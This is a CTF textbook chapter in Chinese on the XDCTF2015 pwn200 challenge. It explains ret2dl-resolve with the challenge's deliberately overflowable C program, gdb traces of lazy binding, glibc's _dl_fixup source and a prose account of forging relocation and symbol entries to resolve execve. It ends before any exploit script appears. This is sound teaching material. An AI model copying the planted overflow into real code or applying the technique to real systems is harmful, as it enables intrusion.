6.1.3 pwn XDCTF2015 pwn200

下载文件

题目复现

出题人在博客里贴出了源码,如下:

  1. #include <unistd.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void vuln()
  5. {
  6. char buf[100];
  7. setbuf(stdin, buf);
  8. read(0, buf, 256);
  9. }
  10. int main()
  11. {
  12. char buf[100] = "Welcome to XDCTF2015~!\n";
  13. setbuf(stdout, buf);
  14. write(1, buf, strlen(buf));
  15. vuln();
  16. return 0;
  17. }

使用下面的语句编译:

  1. $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c

checksec 如下:

  1. $ checksec -f a.out
  2. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  3. Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out

在开启 ASLR 的情况下把程序运行起来:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &

这题提供了二进制文件而没有提供 libc.so,而且也默认找不到,在章节 4.8 中我们提供了一种解法,这里我们讲解另一种。

ret2dl-resolve 原理及题目解析

这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的,论文地址在参考资料中。ret2dl-resolve 不需要信息泄露,而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施,包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中,我们也能看到它的身影,通常用于对付无法获得目标系统 libc.so 的情况。

延迟绑定

关于动态链接我们在章节 1.5.6 中已经讲过了,这里就重点讲一下动态解析的过程。我们知道,在动态链接中,如果程序没有开启 Full RELRO 保护,则存在延迟绑定的过程,即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。

一个动态链接程序的程序头表中会包含类型为 PT_DYNAMIC 的段,它包含了 .dynamic 段,结构如下:

  1. typedef struct
  2. {
  3. Elf32_Sword d_tag; /* Dynamic entry type */
  4. union
  5. {
  6. Elf32_Word d_val; /* Integer value */
  7. Elf32_Addr d_ptr; /* Address value */
  8. } d_un;
  9. } Elf32_Dyn;
  10. typedef struct
  11. {
  12. Elf64_Sxword d_tag; /* Dynamic entry type */
  13. union
  14. {
  15. Elf64_Xword d_val; /* Integer value */
  16. Elf64_Addr d_ptr; /* Address value */
  17. } d_un;
  18. } Elf64_Dyn;

一个 Elf_Dyn 是一个键值对,其中 d_tag 是键,d_value 是值。其中有个例外的条目是 DT_DEBUG,它保存了动态装载器内部数据结构的指针。

段表结构如下:

  1. typedef struct
  2. {
  3. Elf32_Word sh_name; /* Section name (string tbl index) */
  4. Elf32_Word sh_type; /* Section type */
  5. Elf32_Word sh_flags; /* Section flags */
  6. Elf32_Addr sh_addr; /* Section virtual addr at execution */
  7. Elf32_Off sh_offset; /* Section file offset */
  8. Elf32_Word sh_size; /* Section size in bytes */
  9. Elf32_Word sh_link; /* Link to another section */
  10. Elf32_Word sh_info; /* Additional section information */
  11. Elf32_Word sh_addralign; /* Section alignment */
  12. Elf32_Word sh_entsize; /* Entry size if section holds table */
  13. } Elf32_Shdr;
  14. typedef struct
  15. {
  16. Elf64_Word sh_name; /* Section name (string tbl index) */
  17. Elf64_Word sh_type; /* Section type */
  18. Elf64_Xword sh_flags; /* Section flags */
  19. Elf64_Addr sh_addr; /* Section virtual addr at execution */
  20. Elf64_Off sh_offset; /* Section file offset */
  21. Elf64_Xword sh_size; /* Section size in bytes */
  22. Elf64_Word sh_link; /* Link to another section */
  23. Elf64_Word sh_info; /* Additional section information */
  24. Elf64_Xword sh_addralign; /* Section alignment */
  25. Elf64_Xword sh_entsize; /* Entry size if section holds table */
  26. } Elf64_Shdr;

具体来看,首先在 write@plt 地址处下断点,然后运行:

  1. gdb-peda$ p write
  2. $1 = {<text variable, no debug info>} 0x8048430 <write@plt>
  3. gdb-peda$ b *0x8048430
  4. Breakpoint 1 at 0x8048430
  5. gdb-peda$ r
  6. Starting program: /home/firmy/Desktop/RE4B/200/a.out
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  9. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  10. ECX: 0x2a8c
  11. EDX: 0x3
  12. ESI: 0xf7f8ee28 --> 0x1d1d30
  13. EDI: 0xffffd620 --> 0x1
  14. EBP: 0xffffd638 --> 0x0
  15. ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
  16. EIP: 0x8048430 (<write@plt>: jmp DWORD PTR ds:0x804a01c)
  17. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018
  20. 0x8048426 <__libc_start_main@plt+6>: push 0x18
  21. 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
  22. => 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
  23. | 0x8048436 <write@plt+6>: push 0x20
  24. | 0x804843b <write@plt+11>: jmp 0x80483e0
  25. | 0x8048440: jmp DWORD PTR ds:0x8049ff0
  26. | 0x8048446: xchg ax,ax
  27. |-> 0x8048436 <write@plt+6>: push 0x20
  28. 0x804843b <write@plt+11>: jmp 0x80483e0
  29. 0x8048440: jmp DWORD PTR ds:0x8049ff0
  30. 0x8048446: xchg ax,ax
  31. JUMP is taken
  32. [------------------------------------stack-------------------------------------]
  33. 0000| 0xffffd59c --> 0x804861b (add esp,0x10)
  34. 0004| 0xffffd5a0 --> 0x1
  35. 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  36. 0012| 0xffffd5a8 --> 0x17
  37. 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  38. 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  39. 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
  40. 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
  41. [------------------------------------------------------------------------------]
  42. Legend: code, data, rodata, value
  43. Breakpoint 1, 0x08048430 in write@plt ()
  44. gdb-peda$ x/w 0x804a01c
  45. 0x804a01c: 0x08048436

由于是第一次运行,尚未进行绑定,0x804a01c 地址处保存的是 write@plt+6 的地址 0x8048436,即跳转到下一条指令。

0x20 压入栈中,这个数字是导入函数的标识,即一个 ELF_Rel 在 .rel.plt 中的偏移:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  4. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  5. ECX: 0x2a8c
  6. EDX: 0x3
  7. ESI: 0xf7f8ee28 --> 0x1d1d30
  8. EDI: 0xffffd620 --> 0x1
  9. EBP: 0xffffd638 --> 0x0
  10. ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
  11. EIP: 0x8048436 (<write@plt+6>: push 0x20)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x8048426 <__libc_start_main@plt+6>: push 0x18
  15. 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
  16. 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
  17. => 0x8048436 <write@plt+6>: push 0x20
  18. 0x804843b <write@plt+11>: jmp 0x80483e0
  19. 0x8048440: jmp DWORD PTR ds:0x8049ff0
  20. 0x8048446: xchg ax,ax
  21. 0x8048448: add BYTE PTR [eax],al
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xffffd59c --> 0x804861b (add esp,0x10)
  24. 0004| 0xffffd5a0 --> 0x1
  25. 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  26. 0012| 0xffffd5a8 --> 0x17
  27. 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  28. 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  29. 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
  30. 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. 0x08048436 in write@plt ()

然后跳转到 0x80483e0,该地址是 .plt 段的开头,即 PLT[0]:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  4. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  5. ECX: 0x2a8c
  6. EDX: 0x3
  7. ESI: 0xf7f8ee28 --> 0x1d1d30
  8. EDI: 0xffffd620 --> 0x1
  9. EBP: 0xffffd638 --> 0x0
  10. ESP: 0xffffd598 --> 0x20 (' ')
  11. EIP: 0x804843b (<write@plt+11>: jmp 0x80483e0)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
  15. 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
  16. 0x8048436 <write@plt+6>: push 0x20
  17. => 0x804843b <write@plt+11>: jmp 0x80483e0
  18. | 0x8048440: jmp DWORD PTR ds:0x8049ff0
  19. | 0x8048446: xchg ax,ax
  20. | 0x8048448: add BYTE PTR [eax],al
  21. | 0x804844a: add BYTE PTR [eax],al
  22. |-> 0x80483e0: push DWORD PTR ds:0x804a004
  23. 0x80483e6: jmp DWORD PTR ds:0x804a008
  24. 0x80483ec: add BYTE PTR [eax],al
  25. 0x80483ee: add BYTE PTR [eax],al
  26. JUMP is taken
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xffffd598 --> 0x20 (' ')
  29. 0004| 0xffffd59c --> 0x804861b (add esp,0x10)
  30. 0008| 0xffffd5a0 --> 0x1
  31. 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  32. 0016| 0xffffd5a8 --> 0x17
  33. 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  34. 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  35. 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. 0x0804843b in write@plt ()
  1. $ readelf -S a.out | grep 80483e0
  2. [12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16

接下来就进入 PLT[0] 处的代码:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  4. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  5. ECX: 0x2a8c
  6. EDX: 0x3
  7. ESI: 0xf7f8ee28 --> 0x1d1d30
  8. EDI: 0xffffd620 --> 0x1
  9. EBP: 0xffffd638 --> 0x0
  10. ESP: 0xffffd598 --> 0x20 (' ')
  11. EIP: 0x80483e0 (push DWORD PTR ds:0x804a004)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. => 0x80483e0: push DWORD PTR ds:0x804a004
  15. 0x80483e6: jmp DWORD PTR ds:0x804a008
  16. 0x80483ec: add BYTE PTR [eax],al
  17. 0x80483ee: add BYTE PTR [eax],al
  18. [------------------------------------stack-------------------------------------]
  19. 0000| 0xffffd598 --> 0x20 (' ')
  20. 0004| 0xffffd59c --> 0x804861b (add esp,0x10)
  21. 0008| 0xffffd5a0 --> 0x1
  22. 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  23. 0016| 0xffffd5a8 --> 0x17
  24. 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  25. 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  26. 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
  27. [------------------------------------------------------------------------------]
  28. Legend: code, data, rodata, value
  29. 0x080483e0 in ?? ()
  30. gdb-peda$ x/w 0x804a004
  31. 0x804a004: 0xf7ffd900
  32. gdb-peda$ x/w 0x804a008
  33. 0x804a008: 0xf7fec370
  1. $ readelf -S a.out | grep .got.plt
  2. [23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4

看一下 .got.plt 段,所以 0x804a0040x804a008 分别是 GOT[1] 和 GOT[2]。继续调试:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  4. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  5. ECX: 0x2a8c
  6. EDX: 0x3
  7. ESI: 0xf7f8ee28 --> 0x1d1d30
  8. EDI: 0xffffd620 --> 0x1
  9. EBP: 0xffffd638 --> 0x0
  10. ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0
  11. EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x80483dd: add BYTE PTR [eax],al
  15. 0x80483df: add bh,bh
  16. 0x80483e1: xor eax,0x804a004
  17. => 0x80483e6: jmp DWORD PTR ds:0x804a008
  18. | 0x80483ec: add BYTE PTR [eax],al
  19. | 0x80483ee: add BYTE PTR [eax],al
  20. | 0x80483f0 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
  21. | 0x80483f6 <setbuf@plt+6>: push 0x0
  22. |-> 0xf7fec370 <_dl_runtime_resolve>: push eax
  23. 0xf7fec371 <_dl_runtime_resolve+1>: push ecx
  24. 0xf7fec372 <_dl_runtime_resolve+2>: push edx
  25. 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
  26. JUMP is taken
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xffffd594 --> 0xf7ffd900 --> 0x0
  29. 0004| 0xffffd598 --> 0x20 (' ')
  30. 0008| 0xffffd59c --> 0x804861b (add esp,0x10)
  31. 0012| 0xffffd5a0 --> 0x1
  32. 0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  33. 0020| 0xffffd5a8 --> 0x17
  34. 0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  35. 0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. 0x080483e6 in ?? ()

PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义,动态链接器在开始时给它们填充了特殊的内容:

  • GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 l_info 域中保存了 .dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。
  • GOT[2]:一个指向动态装载器中 _dl_runtime_resolve 函数的指针。

函数使用参数 link_map_obj 来获取解析导入函数(使用reloc_index参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 _dl_runtime_resolve 解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。

_dl-runtime-resolve 的过程如下图所示:

img

重定位项使用 Elf_Rel 结构体来描述,存在于 .rep.plt 段和 .rel.dyn 段中:

  1. typedef uint32_t Elf32_Addr;
  2. typedef uint32_t Elf32_Word;
  3. typedef struct
  4. {
  5. Elf32_Addr r_offset; /* Address */
  6. Elf32_Word r_info; /* Relocation type and symbol index */
  7. } Elf32_Rel;
  8. typedef uint64_t Elf64_Addr;
  9. typedef uint64_t Elf64_Xword;
  10. typedef int64_t Elf64_Sxword;
  11. typedef struct
  12. {
  13. Elf64_Addr r_offset; /* Address */
  14. Elf64_Xword r_info; /* Relocation type and symbol index */
  15. Elf64_Sxword r_addend; /* Addend */
  16. } Elf64_Rela;

32 位程序使用 REL,而 64 位程序使用 RELA。

下面的宏描述了 r_info 是怎样被解析和插入的:

  1. /* How to extract and insert information held in the r_info field. */
  2. #define ELF32_R_SYM(val) ((val) >> 8)
  3. #define ELF32_R_TYPE(val) ((val) & 0xff)
  4. #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
  5. #define ELF64_R_SYM(i) ((i) >> 32)
  6. #define ELF64_R_TYPE(i) ((i) & 0xffffffff)
  7. #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

举个例子:

  1. ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

每个符号使用 Elf_Sym 结构体来描述,存在于 .dynsym 段和 .symtab 段中,而 .symtab 在 strip 之后会被删掉:

  1. typedef struct
  2. {
  3. Elf32_Word st_name; /* Symbol name (string tbl index) */
  4. Elf32_Addr st_value; /* Symbol value */
  5. Elf32_Word st_size; /* Symbol size */
  6. unsigned char st_info; /* Symbol type and binding */
  7. unsigned char st_other; /* Symbol visibility */
  8. Elf32_Section st_shndx; /* Section index */
  9. } Elf32_Sym;
  10. typedef struct
  11. {
  12. Elf64_Word st_name; /* Symbol name (string tbl index) */
  13. unsigned char st_info; /* Symbol type and binding */
  14. unsigned char st_other; /* Symbol visibility */
  15. Elf64_Section st_shndx; /* Section index */
  16. Elf64_Addr st_value; /* Symbol value */
  17. Elf64_Xword st_size; /* Symbol size */
  18. } Elf64_Sym;

下面的宏描述了 st_info 是怎样被解析和插入的:

  1. /* How to extract and insert information held in the st_info field. */
  2. #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
  3. #define ELF32_ST_TYPE(val) ((val) & 0xf)
  4. #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
  5. /* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */
  6. #define ELF64_ST_BIND(val) ELF32_ST_BIND (val)
  7. #define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val)
  8. #define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))

所以 PLT[0] 其实就是调用的以下函数:

  1. _dl_runtime_resolve(link_map_obj, reloc_index)
  1. gdb-peda$ disassemble 0xf7fec370
  2. Dump of assembler code for function _dl_runtime_resolve:
  3. 0xf7fec370 <+0>: push eax
  4. 0xf7fec371 <+1>: push ecx
  5. 0xf7fec372 <+2>: push edx
  6. 0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10]
  7. 0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc]
  8. 0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup>
  9. 0xf7fec380 <+16>: pop edx
  10. 0xf7fec381 <+17>: mov ecx,DWORD PTR [esp]
  11. 0xf7fec384 <+20>: mov DWORD PTR [esp],eax
  12. 0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4]
  13. 0xf7fec38b <+27>: ret 0xc
  14. End of assembler dump.

该函数在 glibc/sysdeps/i386/dl-trampoline.S 中用汇编实现,先保存寄存器,然后将两个值分别传入寄存器,调用 _dl_fixup,最后恢复寄存器:

  1. gdb-peda$ x/w $esp+0x10
  2. 0xffffd598: 0x00000020
  3. gdb-peda$ x/w $esp+0xc
  4. 0xffffd594: 0xf7ffd900

还记得这两个值吗,一个是在 <write@plt+6>: push 0x20 中压入的偏移量,一个是 PLT[0] 中 push DWORD PTR ds:0x804a004 压入的 GOT[1]。

函数 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg),其参数分别由寄存器 eaxedx 提供。继续调试:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xf7ffd900 --> 0x0
  4. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  5. ECX: 0x2a8c
  6. EDX: 0x20 (' ')
  7. ESI: 0xf7f8ee28 --> 0x1d1d30
  8. EDI: 0xffffd620 --> 0x1
  9. EBP: 0xffffd638 --> 0x0
  10. ESP: 0xffffd588 --> 0x3
  11. EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0xf7fec372 <_dl_runtime_resolve+2>: push edx
  15. 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
  16. 0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
  17. => 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>
  18. 0xf7fec380 <_dl_runtime_resolve+16>: pop edx
  19. 0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
  20. 0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
  21. 0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
  22. Guessed arguments:
  23. arg[0]: 0x3
  24. arg[1]: 0x2a8c
  25. arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  26. [------------------------------------stack-------------------------------------]
  27. 0000| 0xffffd588 --> 0x3
  28. 0004| 0xffffd58c --> 0x2a8c
  29. 0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  30. 0012| 0xffffd594 --> 0xf7ffd900 --> 0x0
  31. 0016| 0xffffd598 --> 0x20 (' ')
  32. 0020| 0xffffd59c --> 0x804861b (add esp,0x10)
  33. 0024| 0xffffd5a0 --> 0x1
  34. 0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  35. [------------------------------------------------------------------------------]
  36. Legend: code, data, rodata, value
  37. 0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2
  38. gdb-peda$ s
  39. [----------------------------------registers-----------------------------------]
  40. EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  41. EBX: 0x804a000 --> 0x8049f04 --> 0x1
  42. ECX: 0x2a8c
  43. EDX: 0x3
  44. ESI: 0xf7f8ee28 --> 0x1d1d30
  45. EDI: 0xffffd620 --> 0x1
  46. EBP: 0xffffd638 --> 0x0
  47. ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
  48. EIP: 0xf7ea3100 (<write>: push esi)
  49. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  50. [-------------------------------------code-------------------------------------]
  51. 0xf7ea30fb: xchg ax,ax
  52. 0xf7ea30fd: xchg ax,ax
  53. 0xf7ea30ff: nop
  54. => 0xf7ea3100 <write>: push esi
  55. 0xf7ea3101 <write+1>: push ebx
  56. 0xf7ea3102 <write+2>: sub esp,0x14
  57. 0xf7ea3105 <write+5>: mov ebx,DWORD PTR [esp+0x20]
  58. 0xf7ea3109 <write+9>: mov ecx,DWORD PTR [esp+0x24]
  59. [------------------------------------stack-------------------------------------]
  60. 0000| 0xffffd59c --> 0x804861b (add esp,0x10)
  61. 0004| 0xffffd5a0 --> 0x1
  62. 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
  63. 0012| 0xffffd5a8 --> 0x17
  64. 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
  65. 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
  66. 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
  67. 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
  68. [------------------------------------------------------------------------------]
  69. Legend: code, data, rodata, value
  70. 0xf7ea3100 in write () from /usr/lib32/libc.so.6

即使我们使用单步进入,也不能调试 _dl_fixup,它直接就执行完成并跳转到 write 函数了,而此时,GOT 的地址已经被覆盖为实际地址:

  1. gdb-peda$ x/w 0x804a01c
  2. 0x804a01c: 0xf7ea3100

再强调一遍:fixup 是通过寄存器取参数的,这似乎违背了 32 位程序的调用约定,但它就是这样,上面 gdb 中显示的参数是错误的,该函数对程序员来说是透明的,所以会尽量少用栈去做操作。

既然不能调试,直接看代码吧,在 glibc/elf/dl-runtime.c 中:

  1. DL_FIXUP_VALUE_TYPE
  2. attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
  3. _dl_fixup (
  4. # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
  5. ELF_MACHINE_RUNTIME_FIXUP_ARGS,
  6. # endif
  7. struct link_map *l, ElfW(Word) reloc_arg)
  8. {
  9. // 分别获取动态链接符号表和动态链接字符串表的基址
  10. const ElfW(Sym) *const symtab
  11. = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  12. const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  13. // 通过参数 reloc_arg 计算重定位入口,这里的 DT_JMPREL 即 .rel.plt,reloc_offset 即 reloc_arg
  14. const PLTREL *const reloc
  15. = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  16. // 根据函数重定位表中的动态链接符号表索引,即 reloc->r_info,获取函数在动态链接符号表中对应的条目
  17. const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  18. const ElfW(Sym) *refsym = sym;
  19. void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  20. lookup_t result;
  21. DL_FIXUP_VALUE_TYPE value;
  22. /* Sanity check that we're really looking at a PLT relocation. */
  23. assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  24. /* Look up the target symbol. If the normal lookup rules are not
  25. used don't look in the global scope. */
  26. if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
  27. {
  28. const struct r_found_version *version = NULL;
  29. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
  30. {
  31. const ElfW(Half) *vernum =
  32. (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  33. ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  34. version = &l->l_versions[ndx];
  35. if (version->hash == 0)
  36. version = NULL;
  37. }
  38. /* We need to keep the scope around so do some locking. This is
  39. not necessary for objects which cannot be unloaded or when
  40. we are not using any threads (yet). */
  41. int flags = DL_LOOKUP_ADD_DEPENDENCY;
  42. if (!RTLD_SINGLE_THREAD_P)
  43. {
  44. THREAD_GSCOPE_SET_FLAG ();
  45. flags |= DL_LOOKUP_GSCOPE_LOCK;
  46. }
  47. #ifdef RTLD_ENABLE_FOREIGN_CALL
  48. RTLD_ENABLE_FOREIGN_CALL;
  49. #endif
  50. // 根据 strtab+sym->st_name 在字符串表中找到函数名,然后进行符号查找获取 libc 基址 result
  51. result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
  52. version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  53. /* We are done with the global scope. */
  54. if (!RTLD_SINGLE_THREAD_P)
  55. THREAD_GSCOPE_RESET_FLAG ();
  56. #ifdef RTLD_FINALIZE_FOREIGN_CALL
  57. RTLD_FINALIZE_FOREIGN_CALL;
  58. #endif
  59. /* Currently result contains the base load address (or link map)
  60. of the object that defines sym. Now add in the symbol
  61. offset. */
  62. // 将要解析的函数的偏移地址加上 libc 基址,得到函数的实际地址
  63. value = DL_FIXUP_MAKE_VALUE (result,
  64. sym ? (LOOKUP_VALUE_ADDRESS (result)
  65. + sym->st_value) : 0);
  66. }
  67. else
  68. {
  69. /* We already found the symbol. The module (and therefore its load
  70. address) is also known. */
  71. value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
  72. result = l;
  73. }
  74. /* And now perhaps the relocation addend. */
  75. value = elf_machine_plt_value (l, reloc, value);
  76. // 将已经解析完成的函数地址写入相应的 GOT 表中
  77. if (sym != NULL
  78. && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  79. value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
  80. /* Finally, fix up the plt itself. */
  81. if (__glibc_unlikely (GLRO(dl_bind_not)))
  82. return value;
  83. return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
  84. }

攻击

关于延迟绑定的攻击,在于强迫动态装载器解析请求的函数。

img

  • 图a中,因为动态转载器是从 .dynamic 段的 DT_STRTAB 条目中获得 .dynstr 段的地址的,而 DT_STRTAB 条目的位置已知,默认情况下也可写。所以攻击者能够改写 DT_STRTAB 条目的内容,欺骗动态装载器,让它以为 .dynstr 段在 .bss 段中,并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名,最终执行的是 execve。这种方式非常简单,但仅当二进制程序的 .dynamic 段可写时有效。
  • 图b中,我们已经知道 _dl_runtime_resolve 的第二个参数是 Elf_Rel 条目在 .rel.plt 段中的偏移,动态装载器将这个值加上 .rel.plt 的基址来得到目标结构体的绝对位置。然后当传递给 _dl_runtime_resolve 的参数 reloc_index 超出了 .rel.plt 段,并最终落在 .bss 段中时,攻击者可以在该位置伪造了一个 Elf_Rel 结构,并填写 r_offset 的值为一个可写的内存地址来将解析后的函数地址写在那里,同理 r_info 也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 Elf_Sym 结构,而 Elf_Sym 结构中的 st_name 同样超出了 .dynsym 段。这样这个符号就会包含一个相对于 .dynstr 地址足够大的偏移使其能够达到这个符号之后的一段内存,而那段内存里保存着这个将要调用的函数的名称。

还记得我们前面说过的 GOT[1],它是一个 link_map 类型的指针,其 l_info 域中有一个包含 .dynmic 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link_map 的一部分,就能够将 l_info 域中的 DT_STRTAB 条目指向一个特意制造的动态条目,那里则指向一个假的动态字符串表。

img

pwn200

